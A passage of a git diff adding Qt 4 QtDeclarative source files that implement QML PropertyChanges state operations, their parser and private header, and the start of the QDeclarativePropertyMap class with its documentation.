+ rewindExpression(0), ownedExpression(0) {}
+ ~QDeclarativeReplaceSignalHandler() {
+ delete ownedExpression;
+ }
+
+ virtual QString typeName() const { return QLatin1String("ReplaceSignalHandler"); }
+
+ QDeclarativeProperty property;
+ QDeclarativeExpression *expression;
+ QDeclarativeExpression *reverseExpression;
+ QDeclarativeExpression *rewindExpression;
+ QDeclarativeGuard<QDeclarativeExpression> ownedExpression;
+
+ virtual void execute(Reason) {
+ ownedExpression = QDeclarativePropertyPrivate::setSignalExpression(property, expression);
+ if (ownedExpression == expression)
+ ownedExpression = 0;
+ }
+
+ virtual bool isReversable() { return true; }
+ virtual void reverse(Reason) {
+ ownedExpression = QDeclarativePropertyPrivate::setSignalExpression(property, reverseExpression);
+ if (ownedExpression == reverseExpression)
+ ownedExpression = 0;
+ }
+
+ virtual void saveOriginals() {
+ saveCurrentValues();
+ reverseExpression = rewindExpression;
+ }
+
+ virtual bool needsCopy() { return true; }
+ virtual void copyOriginals(QDeclarativeActionEvent *other)
+ {
+ QDeclarativeReplaceSignalHandler *rsh = static_cast<QDeclarativeReplaceSignalHandler*>(other);
+ saveCurrentValues();
+ if (rsh == this)
+ return;
+ reverseExpression = rsh->reverseExpression;
+ if (rsh->ownedExpression == reverseExpression) {
+ ownedExpression = rsh->ownedExpression;
+ rsh->ownedExpression = 0;
+ }
+ }
+
+ virtual void rewind() {
+ ownedExpression = QDeclarativePropertyPrivate::setSignalExpression(property, rewindExpression);
+ if (ownedExpression == rewindExpression)
+ ownedExpression = 0;
+ }
+ virtual void saveCurrentValues() {
+ rewindExpression = QDeclarativePropertyPrivate::signalExpression(property);
+ }
+
+ virtual bool override(QDeclarativeActionEvent*other) {
+ if (other == this)
+ return true;
+ if (other->typeName() != typeName())
+ return false;
+ if (static_cast<QDeclarativeReplaceSignalHandler*>(other)->property == property)
+ return true;
+ return false;
+ }
+};
+
+
+class QDeclarativePropertyChangesPrivate : public QDeclarativeStateOperationPrivate
+{
+ Q_DECLARE_PUBLIC(QDeclarativePropertyChanges)
+public:
+ QDeclarativePropertyChangesPrivate() : decoded(true), restore(true),
+ isExplicit(false) {}
+
+ QDeclarativeGuard<QObject> object;
+ QByteArray data;
+
+ bool decoded : 1;
+ bool restore : 1;
+ bool isExplicit : 1;
+
+ void decode();
+
+ class ExpressionChange {
+ public:
+ ExpressionChange(const QString &_name,
+ QDeclarativeBinding::Identifier _id,
+ QDeclarativeExpression *_expr)
+ : name(_name), id(_id), expression(_expr) {}
+ QString name;
+ QDeclarativeBinding::Identifier id;
+ QDeclarativeExpression *expression;
+ };
+
+ QList<QPair<QString, QVariant> > properties;
+ QList<ExpressionChange> expressions;
+ QList<QDeclarativeReplaceSignalHandler*> signalReplacements;
+
+ QDeclarativeProperty property(const QString &);
+};
+
+void
+QDeclarativePropertyChangesParser::compileList(QList<QPair<QByteArray, QVariant> > &list,
+ const QByteArray &pre,
+ const QDeclarativeCustomParserProperty &prop)
+{
+ QByteArray propName = pre + prop.name();
+
+ QList<QVariant> values = prop.assignedValues();
+ for (int ii = 0; ii < values.count(); ++ii) {
+ const QVariant &value = values.at(ii);
+
+ if (value.userType() == qMetaTypeId<QDeclarativeCustomParserNode>()) {
+ error(qvariant_cast<QDeclarativeCustomParserNode>(value),
+ QDeclarativePropertyChanges::tr("PropertyChanges does not support creating state-specific objects."));
+ continue;
+ } else if(value.userType() == qMetaTypeId<QDeclarativeCustomParserProperty>()) {
+
+ QDeclarativeCustomParserProperty prop =
+ qvariant_cast<QDeclarativeCustomParserProperty>(value);
+ QByteArray pre = propName + '.';
+ compileList(list, pre, prop);
+
+ } else {
+ list << qMakePair(propName, value);
+ }
+ }
+}
+
+QByteArray
+QDeclarativePropertyChangesParser::compile(const QList<QDeclarativeCustomParserProperty> &props)
+{
+ QList<QPair<QByteArray, QVariant> > data;
+ for(int ii = 0; ii < props.count(); ++ii)
+ compileList(data, QByteArray(), props.at(ii));
+
+ QByteArray rv;
+ QDataStream ds(&rv, QIODevice::WriteOnly);
+
+ ds << data.count();
+ for(int ii = 0; ii < data.count(); ++ii) {
+ QDeclarativeParser::Variant v = qvariant_cast<QDeclarativeParser::Variant>(data.at(ii).second);
+ QVariant var;
+ bool isScript = v.isScript();
+ QDeclarativeBinding::Identifier id = 0;
+ switch(v.type()) {
+ case QDeclarativeParser::Variant::Boolean:
+ var = QVariant(v.asBoolean());
+ break;
+ case QDeclarativeParser::Variant::Number:
+ var = QVariant(v.asNumber());
+ break;
+ case QDeclarativeParser::Variant::String:
+ var = QVariant(v.asString());
+ break;
+ case QDeclarativeParser::Variant::Invalid:
+ case QDeclarativeParser::Variant::Script:
+ var = QVariant(v.asScript());
+ {
+ // Pre-rewrite the expression
+ QString expression = v.asScript();
+ id = rewriteBinding(expression, data.at(ii).first); //### recreates the AST, which is slow
+ }
+ break;
+ }
+
+ ds << QString::fromUtf8(data.at(ii).first) << isScript << var;
+ if (isScript)
+ ds << id;
+ }
+
+ return rv;
+}
+
+void QDeclarativePropertyChangesPrivate::decode()
+{
+ Q_Q(QDeclarativePropertyChanges);
+ if (decoded)
+ return;
+
+ QDataStream ds(&data, QIODevice::ReadOnly);
+
+ int count;
+ ds >> count;
+ for (int ii = 0; ii < count; ++ii) {
+ QString name;
+ bool isScript;
+ QVariant data;
+ QDeclarativeBinding::Identifier id = QDeclarativeBinding::Invalid;
+ ds >> name;
+ ds >> isScript;
+ ds >> data;
+ if (isScript)
+ ds >> id;
+
+ QDeclarativeProperty prop = property(name); //### better way to check for signal property?
+ if (prop.type() & QDeclarativeProperty::SignalProperty) {
+ QDeclarativeExpression *expression = new QDeclarativeExpression(qmlContext(q), object, data.toString());
+ QDeclarativeData *ddata = QDeclarativeData::get(q);
+ if (ddata && ddata->outerContext && !ddata->outerContext->url.isEmpty())
+ expression->setSourceLocation(ddata->outerContext->url.toString(), ddata->lineNumber);
+ QDeclarativeReplaceSignalHandler *handler = new QDeclarativeReplaceSignalHandler;
+ handler->property = prop;
+ handler->expression = expression;
+ signalReplacements << handler;
+ } else if (isScript) {
+ QDeclarativeExpression *expression = new QDeclarativeExpression(qmlContext(q), object, data.toString());
+ QDeclarativeData *ddata = QDeclarativeData::get(q);
+ if (ddata && ddata->outerContext && !ddata->outerContext->url.isEmpty())
+ expression->setSourceLocation(ddata->outerContext->url.toString(), ddata->lineNumber);
+ expressions << ExpressionChange(name, id, expression);
+ } else {
+ properties << qMakePair(name, data);
+ }
+ }
+
+ decoded = true;
+ data.clear();
+}
+
+void QDeclarativePropertyChangesParser::setCustomData(QObject *object,
+ const QByteArray &data)
+{
+ QDeclarativePropertyChangesPrivate *p =
+ static_cast<QDeclarativePropertyChangesPrivate *>(QObjectPrivate::get(object));
+ p->data = data;
+ p->decoded = false;
+}
+
+QDeclarativePropertyChanges::QDeclarativePropertyChanges()
+: QDeclarativeStateOperation(*(new QDeclarativePropertyChangesPrivate))
+{
+}
+
+QDeclarativePropertyChanges::~QDeclarativePropertyChanges()
+{
+ Q_D(QDeclarativePropertyChanges);
+ for(int ii = 0; ii < d->expressions.count(); ++ii)
+ delete d->expressions.at(ii).expression;
+ for(int ii = 0; ii < d->signalReplacements.count(); ++ii)
+ delete d->signalReplacements.at(ii);
+}
+
+QObject *QDeclarativePropertyChanges::object() const
+{
+ Q_D(const QDeclarativePropertyChanges);
+ return d->object;
+}
+
+void QDeclarativePropertyChanges::setObject(QObject *o)
+{
+ Q_D(QDeclarativePropertyChanges);
+ d->object = o;
+}
+
+/*!
+ \qmlproperty bool PropertyChanges::restoreEntryValues
+
+ This property holds whether the previous values should be restored when
+ leaving the state.
+
+ The default value is \c true. Setting this value to \c false creates a
+ temporary state that has permanent effects on property values.
+*/
+bool QDeclarativePropertyChanges::restoreEntryValues() const
+{
+ Q_D(const QDeclarativePropertyChanges);
+ return d->restore;
+}
+
+void QDeclarativePropertyChanges::setRestoreEntryValues(bool v)
+{
+ Q_D(QDeclarativePropertyChanges);
+ d->restore = v;
+}
+
+QDeclarativeProperty
+QDeclarativePropertyChangesPrivate::property(const QString &property)
+{
+ Q_Q(QDeclarativePropertyChanges);
+ QDeclarativeProperty prop(object, property, qmlContext(q));
+ if (!prop.isValid()) {
+ qmlInfo(q) << QDeclarativePropertyChanges::tr("Cannot assign to non-existent property \"%1\"").arg(property);
+ return QDeclarativeProperty();
+ } else if (!(prop.type() & QDeclarativeProperty::SignalProperty) && !prop.isWritable()) {
+ qmlInfo(q) << QDeclarativePropertyChanges::tr("Cannot assign to read-only property \"%1\"").arg(property);
+ return QDeclarativeProperty();
+ }
+ return prop;
+}
+
+QDeclarativePropertyChanges::ActionList QDeclarativePropertyChanges::actions()
+{
+ Q_D(QDeclarativePropertyChanges);
+
+ d->decode();
+
+ ActionList list;
+
+ for (int ii = 0; ii < d->properties.count(); ++ii) {
+
+ QDeclarativeAction a(d->object, d->properties.at(ii).first,
+ qmlContext(this), d->properties.at(ii).second);
+
+ if (a.property.isValid()) {
+ a.restore = restoreEntryValues();
+ list << a;
+ }
+ }
+
+ for (int ii = 0; ii < d->signalReplacements.count(); ++ii) {
+
+ QDeclarativeReplaceSignalHandler *handler = d->signalReplacements.at(ii);
+
+ if (handler->property.isValid()) {
+ QDeclarativeAction a;
+ a.event = handler;
+ list << a;
+ }
+ }
+
+ for (int ii = 0; ii < d->expressions.count(); ++ii) {
+
+ const QString &property = d->expressions.at(ii).name;
+ QDeclarativeProperty prop = d->property(property);
+
+ if (prop.isValid()) {
+ QDeclarativeAction a;
+ a.restore = restoreEntryValues();
+ a.property = prop;
+ a.fromValue = a.property.read();
+ a.specifiedObject = d->object;
+ a.specifiedProperty = property;
+
+ if (d->isExplicit) {
+ a.toValue = d->expressions.at(ii).expression->evaluate();
+ } else {
+ QDeclarativeExpression *e = d->expressions.at(ii).expression;
+
+ QDeclarativeBinding::Identifier id = d->expressions.at(ii).id;
+ QDeclarativeBinding *newBinding = id != QDeclarativeBinding::Invalid ? QDeclarativeBinding::createBinding(id, object(), qmlContext(this), e->sourceFile(), e->lineNumber()) : 0;
+ if (!newBinding) {
+ newBinding = new QDeclarativeBinding(e->expression(), object(), qmlContext(this));
+ newBinding->setSourceLocation(e->sourceFile(), e->lineNumber());
+ }
+ newBinding->setTarget(prop);
+ a.toBinding = newBinding;
+ a.deletableToBinding = true;
+ }
+
+ list << a;
+ }
+ }
+
+ return list;
+}
+
+/*!
+ \qmlproperty bool PropertyChanges::explicit
+
+ If explicit is set to true, any potential bindings will be interpreted as
+ once-off assignments that occur when the state is entered.
+
+ In the following example, the addition of explicit prevents \c myItem.width from
+ being bound to \c parent.width. Instead, it is assigned the value of \c parent.width
+ at the time of the state change.
+ \qml
+ PropertyChanges {
+ target: myItem
+ explicit: true
+ width: parent.width
+ }
+ \endqml
+
+ By default, explicit is false.
+*/
+bool QDeclarativePropertyChanges::isExplicit() const
+{
+ Q_D(const QDeclarativePropertyChanges);
+ return d->isExplicit;
+}
+
+void QDeclarativePropertyChanges::setIsExplicit(bool e)
+{
+ Q_D(QDeclarativePropertyChanges);
+ d->isExplicit = e;
+}
+
+bool QDeclarativePropertyChanges::containsValue(const QString &name) const
+{
+ Q_D(const QDeclarativePropertyChanges);
+ typedef QPair<QString, QVariant> PropertyEntry;
+
+ QListIterator<PropertyEntry> propertyIterator(d->properties);
+ while (propertyIterator.hasNext()) {
+ const PropertyEntry &entry = propertyIterator.next();
+ if (entry.first == name) {
+ return true;
+ }
+ }
+
+ return false;
+}
+
+bool QDeclarativePropertyChanges::containsExpression(const QString &name) const
+{
+ Q_D(const QDeclarativePropertyChanges);
+ typedef QDeclarativePropertyChangesPrivate::ExpressionChange ExpressionEntry;
+
+ QListIterator<ExpressionEntry> expressionIterator(d->expressions);
+ while (expressionIterator.hasNext()) {
+ const ExpressionEntry &entry = expressionIterator.next();
+ if (entry.name == name) {
+ return true;
+ }
+ }
+
+ return false;
+}
+
+bool QDeclarativePropertyChanges::containsProperty(const QString &name) const
+{
+ return containsValue(name) || containsExpression(name);
+}
+
+void QDeclarativePropertyChanges::changeValue(const QString &name, const QVariant &value)
+{
+ Q_D(QDeclarativePropertyChanges);
+ typedef QPair<QString, QVariant> PropertyEntry;
+ typedef QDeclarativePropertyChangesPrivate::ExpressionChange ExpressionEntry;
+
+ QMutableListIterator<ExpressionEntry> expressionIterator(d->expressions);
+ while (expressionIterator.hasNext()) {
+ const ExpressionEntry &entry = expressionIterator.next();
+ if (entry.name == name) {
+ expressionIterator.remove();
+ if (state() && state()->isStateActive()) {
+ QDeclarativeAbstractBinding *oldBinding = QDeclarativePropertyPrivate::binding(d->property(name));
+ if (oldBinding) {
+ QDeclarativePropertyPrivate::setBinding(d->property(name), 0);
+ oldBinding->destroy();
+ }
+ d->property(name).write(value);
+ }
+
+ d->properties.append(PropertyEntry(name, value));
+ return;
+ }
+ }
+
+ QMutableListIterator<PropertyEntry> propertyIterator(d->properties);
+ while (propertyIterator.hasNext()) {
+ PropertyEntry &entry = propertyIterator.next();
+ if (entry.first == name) {
+ entry.second = value;
+ if (state() && state()->isStateActive())
+ d->property(name).write(value);
+ return;
+ }
+ }
+
+ QDeclarativeAction action;
+ action.restore = restoreEntryValues();
+ action.property = d->property(name);
+ action.fromValue = action.property.read();
+ action.specifiedObject = object();
+ action.specifiedProperty = name;
+ action.toValue = value;
+
+ propertyIterator.insert(PropertyEntry(name, value));
+ if (state() && state()->isStateActive()) {
+ state()->addEntryToRevertList(action);
+ QDeclarativeAbstractBinding *oldBinding = QDeclarativePropertyPrivate::binding(action.property);
+ if (oldBinding)
+ oldBinding->setEnabled(false, QDeclarativePropertyPrivate::DontRemoveBinding | QDeclarativePropertyPrivate::BypassInterceptor);
+ d->property(name).write(value);
+ }
+}
+
+void QDeclarativePropertyChanges::changeExpression(const QString &name, const QString &expression)
+{
+ Q_D(QDeclarativePropertyChanges);
+ typedef QPair<QString, QVariant> PropertyEntry;
+ typedef QDeclarativePropertyChangesPrivate::ExpressionChange ExpressionEntry;
+
+ bool hadValue = false;
+
+ QMutableListIterator<PropertyEntry> propertyIterator(d->properties);
+ while (propertyIterator.hasNext()) {
+ PropertyEntry &entry = propertyIterator.next();
+ if (entry.first == name) {
+ propertyIterator.remove();
+ hadValue = true;
+ break;
+ }
+ }
+
+ QMutableListIterator<ExpressionEntry> expressionIterator(d->expressions);
+ while (expressionIterator.hasNext()) {
+ const ExpressionEntry &entry = expressionIterator.next();
+ if (entry.name == name) {
+ entry.expression->setExpression(expression);
+ if (state() && state()->isStateActive()) {
+ QDeclarativeAbstractBinding *oldBinding = QDeclarativePropertyPrivate::binding(d->property(name));
+ if (oldBinding) {
+ QDeclarativePropertyPrivate::setBinding(d->property(name), 0);
+ oldBinding->destroy();
+ }
+
+ QDeclarativeBinding *newBinding = new QDeclarativeBinding(expression, object(), qmlContext(this));
+ newBinding->setTarget(d->property(name));
+ QDeclarativePropertyPrivate::setBinding(d->property(name), newBinding, QDeclarativePropertyPrivate::DontRemoveBinding | QDeclarativePropertyPrivate::BypassInterceptor);
+ }
+ return;
+ }
+ }
+
+ QDeclarativeExpression *newExpression = new QDeclarativeExpression(qmlContext(this), d->object, expression);
+ expressionIterator.insert(ExpressionEntry(name, QDeclarativeBinding::Invalid, newExpression));
+
+ if (state() && state()->isStateActive()) {
+ if (hadValue) {
+ QDeclarativeAbstractBinding *oldBinding = QDeclarativePropertyPrivate::binding(d->property(name));
+ if (oldBinding) {
+ oldBinding->setEnabled(false, QDeclarativePropertyPrivate::DontRemoveBinding | QDeclarativePropertyPrivate::BypassInterceptor);
+ state()->changeBindingInRevertList(object(), name, oldBinding);
+ }
+
+ QDeclarativeBinding *newBinding = new QDeclarativeBinding(expression, object(), qmlContext(this));
+ newBinding->setTarget(d->property(name));
+ QDeclarativePropertyPrivate::setBinding(d->property(name), newBinding, QDeclarativePropertyPrivate::DontRemoveBinding | QDeclarativePropertyPrivate::BypassInterceptor);
+ } else {
+ QDeclarativeAction action;
+ action.restore = restoreEntryValues();
+ action.property = d->property(name);
+ action.fromValue = action.property.read();
+ action.specifiedObject = object();
+ action.specifiedProperty = name;
+
+
+ if (d->isExplicit) {
+ action.toValue = newExpression->evaluate();
+ } else {
+ QDeclarativeBinding *newBinding = new QDeclarativeBinding(newExpression->expression(), object(), qmlContext(this));
+ newBinding->setTarget(d->property(name));
+ action.toBinding = newBinding;
+ action.deletableToBinding = true;
+
+ state()->addEntryToRevertList(action);
+ QDeclarativeAbstractBinding *oldBinding = QDeclarativePropertyPrivate::binding(action.property);
+ if (oldBinding)
+ oldBinding->setEnabled(false, QDeclarativePropertyPrivate::DontRemoveBinding | QDeclarativePropertyPrivate::BypassInterceptor);
+
+ QDeclarativePropertyPrivate::setBinding(action.property, newBinding, QDeclarativePropertyPrivate::DontRemoveBinding | QDeclarativePropertyPrivate::BypassInterceptor);
+ }
+ }
+ }
+ // what about the signal handler?
+}
+
+QVariant QDeclarativePropertyChanges::property(const QString &name) const
+{
+ Q_D(const QDeclarativePropertyChanges);
+ typedef QPair<QString, QVariant> PropertyEntry;
+ typedef QDeclarativePropertyChangesPrivate::ExpressionChange ExpressionEntry;
+
+ QListIterator<PropertyEntry> propertyIterator(d->properties);
+ while (propertyIterator.hasNext()) {
+ const PropertyEntry &entry = propertyIterator.next();
+ if (entry.first == name) {
+ return entry.second;
+ }
+ }
+
+ QListIterator<ExpressionEntry> expressionIterator(d->expressions);
+ while (expressionIterator.hasNext()) {
+ const ExpressionEntry &entry = expressionIterator.next();
+ if (entry.name == name) {
+ return QVariant(entry.expression->expression());
+ }
+ }
+
+ return QVariant();
+}
+
+void QDeclarativePropertyChanges::removeProperty(const QString &name)
+{
+ Q_D(QDeclarativePropertyChanges);
+ typedef QPair<QString, QVariant> PropertyEntry;
+ typedef QDeclarativePropertyChangesPrivate::ExpressionChange ExpressionEntry;
+
+ QMutableListIterator<ExpressionEntry> expressionIterator(d->expressions);
+ while (expressionIterator.hasNext()) {
+ const ExpressionEntry &entry = expressionIterator.next();
+ if (entry.name == name) {
+ expressionIterator.remove();
+ state()->removeEntryFromRevertList(object(), name);
+ return;
+ }
+ }
+
+ QMutableListIterator<PropertyEntry> propertyIterator(d->properties);
+ while (propertyIterator.hasNext()) {
+ const PropertyEntry &entry = propertyIterator.next();
+ if (entry.first == name) {
+ propertyIterator.remove();
+ state()->removeEntryFromRevertList(object(), name);
+ return;
+ }
+ }
+}
+
+QVariant QDeclarativePropertyChanges::value(const QString &name) const
+{
+ Q_D(const QDeclarativePropertyChanges);
+ typedef QPair<QString, QVariant> PropertyEntry;
+
+ QListIterator<PropertyEntry> propertyIterator(d->properties);
+ while (propertyIterator.hasNext()) {
+ const PropertyEntry &entry = propertyIterator.next();
+ if (entry.first == name) {
+ return entry.second;
+ }
+ }
+
+ return QVariant();
+}
+
+QString QDeclarativePropertyChanges::expression(const QString &name) const
+{
+ Q_D(const QDeclarativePropertyChanges);
+ typedef QDeclarativePropertyChangesPrivate::ExpressionChange ExpressionEntry;
+
+ QListIterator<ExpressionEntry> expressionIterator(d->expressions);
+ while (expressionIterator.hasNext()) {
+ const ExpressionEntry &entry = expressionIterator.next();
+ if (entry.name == name) {
+ return entry.expression->expression();
+ }
+ }
+
+ return QString();
+}
+
+void QDeclarativePropertyChanges::detachFromState()
+{
+ if (state())
+ state()->removeAllEntriesFromRevertList(object());
+}
+
+void QDeclarativePropertyChanges::attachToState()
+{
+ if (state())
+ state()->addEntriesToRevertList(actions());
+}
+
+QT_END_NAMESPACE
diff --git a/src/declarative/util/qdeclarativepropertychanges_p.h b/src/declarative/util/qdeclarativepropertychanges_p.h
new file mode 100644
index 00000000..7b03c3f0
--- /dev/null
+++ b/src/declarative/util/qdeclarativepropertychanges_p.h
@@ -0,0 +1,112 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVEPROPERTYCHANGES_H
+#define QDECLARATIVEPROPERTYCHANGES_H
+
+#include "private/qdeclarativestateoperations_p.h"
+#include <private/qdeclarativecustomparser_p.h>
+
+QT_BEGIN_HEADER
+
+QT_BEGIN_NAMESPACE
+
+QT_MODULE(Declarative)
+
+class QDeclarativePropertyChangesPrivate;
+class Q_DECLARATIVE_PRIVATE_EXPORT QDeclarativePropertyChanges : public QDeclarativeStateOperation
+{
+ Q_OBJECT
+ Q_DECLARE_PRIVATE(QDeclarativePropertyChanges)
+
+ Q_PROPERTY(QObject *target READ object WRITE setObject)
+ Q_PROPERTY(bool restoreEntryValues READ restoreEntryValues WRITE setRestoreEntryValues)
+ Q_PROPERTY(bool explicit READ isExplicit WRITE setIsExplicit)
+public:
+ QDeclarativePropertyChanges();
+ ~QDeclarativePropertyChanges();
+
+ QObject *object() const;
+ void setObject(QObject *);
+
+ bool restoreEntryValues() const;
+ void setRestoreEntryValues(bool);
+
+ bool isExplicit() const;
+ void setIsExplicit(bool);
+
+ virtual ActionList actions();
+
+ bool containsProperty(const QString &name) const;
+ bool containsValue(const QString &name) const;
+ bool containsExpression(const QString &name) const;
+ void changeValue(const QString &name, const QVariant &value);
+ void changeExpression(const QString &name, const QString &expression);
+ void removeProperty(const QString &name);
+ QVariant value(const QString &name) const;
+ QString expression(const QString &name) const;
+
+ void detachFromState();
+ void attachToState();
+
+ QVariant property(const QString &name) const;
+};
+
+class QDeclarativePropertyChangesParser : public QDeclarativeCustomParser
+{
+public:
+ QDeclarativePropertyChangesParser()
+ : QDeclarativeCustomParser(AcceptsAttachedProperties) {}
+
+ void compileList(QList<QPair<QByteArray, QVariant> > &list, const QByteArray &pre, const QDeclarativeCustomParserProperty &prop);
+
+ virtual QByteArray compile(const QList<QDeclarativeCustomParserProperty> &);
+ virtual void setCustomData(QObject *, const QByteArray &);
+};
+
+
+QT_END_NAMESPACE
+
+QML_DECLARE_TYPE(QDeclarativePropertyChanges)
+
+QT_END_HEADER
+
+#endif // QDECLARATIVEPROPERTYCHANGES_H
diff --git a/src/declarative/util/qdeclarativepropertymap.cpp b/src/declarative/util/qdeclarativepropertymap.cpp
new file mode 100644
index 00000000..6e2886ce
--- /dev/null
+++ b/src/declarative/util/qdeclarativepropertymap.cpp
@@ -0,0 +1,296 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "qdeclarativepropertymap.h"
+
+#include <private/qmetaobjectbuilder_p.h>
+#include "private/qdeclarativeopenmetaobject_p.h"
+
+#include <QDebug>
+
+QT_BEGIN_NAMESPACE
+
+//QDeclarativePropertyMapMetaObject lets us listen for changes coming from QML
+//so we can emit the changed signal.
+class QDeclarativePropertyMapMetaObject : public QDeclarativeOpenMetaObject
+{
+public:
+ QDeclarativePropertyMapMetaObject(QDeclarativePropertyMap *obj, QDeclarativePropertyMapPrivate *objPriv);
+
+protected:
+ virtual void propertyWritten(int index);
+ virtual void propertyCreated(int, QMetaPropertyBuilder &);
+
+private:
+ QDeclarativePropertyMap *map;
+ QDeclarativePropertyMapPrivate *priv;
+};
+
+class QDeclarativePropertyMapPrivate : public QObjectPrivate
+{
+ Q_DECLARE_PUBLIC(QDeclarativePropertyMap)
+public:
+ QDeclarativePropertyMapMetaObject *mo;
+ QStringList keys;
+ void emitChanged(const QString &key, const QVariant &value);
+};
+
+void QDeclarativePropertyMapPrivate::emitChanged(const QString &key, const QVariant &value)
+{
+ Q_Q(QDeclarativePropertyMap);
+ emit q->valueChanged(key, value);
+}
+
+QDeclarativePropertyMapMetaObject::QDeclarativePropertyMapMetaObject(QDeclarativePropertyMap *obj, QDeclarativePropertyMapPrivate *objPriv) : QDeclarativeOpenMetaObject(obj)
+{
+ map = obj;
+ priv = objPriv;
+}
+
+void QDeclarativePropertyMapMetaObject::propertyWritten(int index)
+{
+ priv->emitChanged(QString::fromUtf8(name(index)), operator[](index));
+}
+
+void QDeclarativePropertyMapMetaObject::propertyCreated(int, QMetaPropertyBuilder &b)
+{
+ priv->keys.append(QString::fromUtf8(b.name()));
+}
+
+/*!
+ \class QDeclarativePropertyMap
+ \since 4.7
+ \brief The QDeclarativePropertyMap class allows you to set key-value pairs that can be used in QML bindings.
+
+ QDeclarativePropertyMap provides a convenient way to expose domain data to the UI layer.
+ The following example shows how you might declare data in C++ and then
+ access it in QML.
+
+ In the C++ file:
+ \code
+ // create our data
+ QDeclarativePropertyMap ownerData;
+ ownerData.insert("name", QVariant(QString("John Smith")));
+ ownerData.insert("phone", QVariant(QString("555-5555")));
+
+ // expose it to the UI layer
+ QDeclarativeView view;
+ QDeclarativeContext *ctxt = view.rootContext();
+ ctxt->setContextProperty("owner", &ownerData);
+
+ view.setSource(QUrl::fromLocalFile("main.qml"));
+ view.show();
+ \endcode
+
+ Then, in \c main.qml:
+ \code
+ Text { text: owner.name + " " + owner.phone }
+ \endcode
+
+ The binding is dynamic - whenever a key's value is updated, anything bound to that
+ key will be updated as well.
+
+ To detect value changes made in the UI layer you can connect to the valueChanged() signal.
+ However, note that valueChanged() is \bold NOT emitted when changes are made by calling insert()
+ or clear() - it is only emitted when a value is updated from QML.
+
+ \note It is not possible to remove keys from the map; once a key has been added, you can only
+ modify or clear its associated value.
+*/
+
+/*!
+ Constructs a bindable map with parent object \a parent.
+*/
+QDeclarativePropertyMap::QDeclarativePropertyMap(QObject *parent)
+: QObject(*(new QDeclarativePropertyMapPrivate), parent)
+{
+ Q_D(QDeclarativePropertyMap);
+ d->mo = new QDeclarativePropertyMapMetaObject(this, d);
+}
+
+/*!
+ Destroys the bindable map.
+*/
+QDeclarativePropertyMap::~QDeclarativePropertyMap()
+{
+}
+
+/*!
+ Clears the value (if any) associated with \a key.
+*/
+void QDeclarativePropertyMap::clear(const QString &key)
+{
+ Q_D(QDeclarativePropertyMap);
+ d->mo->setValue(key.toUtf8(), QVariant());
+}
+
+/*!
+ Returns the value associated with \a key.
+
+ If no value has been set for this key (or if the value has been cleared),
+ an invalid QVariant is returned.
+*/
+QVariant QDeclarativePropertyMap::value(const QString &key) const
+{
+ Q_D(const QDeclarativePropertyMap);
+ return d->mo->value(key.toUtf8());
+}
+
+/*!
+ Sets the value associated with \a key to \a value.
+
+ If the key doesn't exist, it is automatically created.
+*/
+void QDeclarativePropertyMap::insert(const QString &key, const QVariant &value)
+{
+ Q_D(QDeclarativePropertyMap);
+ //The following strings shouldn't be used as property names
+ if (key != QLatin1String("keys")
+ && key != QLatin1String("valueChanged")
+ && key != QLatin1String("QObject")
+ && key != QLatin1String("destroyed")
+ && key != QLatin1String("deleteLater")) {
+ d->mo->setValue(key.toUtf8(), value);
+ } else {
+ qWarning() << "Creating property with name"
+ << key
+ << "is not permitted, conflicts with internal symbols.";
+ }
+}
+
+/*!
+ Returns the list of keys.
+
+ Keys that have been cleared will still appear in this list, even though their
+ associated values are invalid QVariants.
+*/
+QStringList QDeclarativePropertyMap::keys() const
+{
+ Q_D(const QDeclarativePropertyMap);
+ return d->keys;
+}
+
+/*!
+ \overload
+
+ Same as size().
+*/
+int QDeclarativePropertyMap::count() const
+{
+ Q_D(const QDeclarativePropertyMap);
+ return d->keys.count();
+}
+
+/*!
+ Returns the number of keys in the map.
+
+ \sa isEmpty(), count()
+*/
+int QDeclarativePropertyMap::size() const
+{
+ Q_D(const QDeclarativePropertyMap);
+ return d->keys.size();
+}
+
+/*!
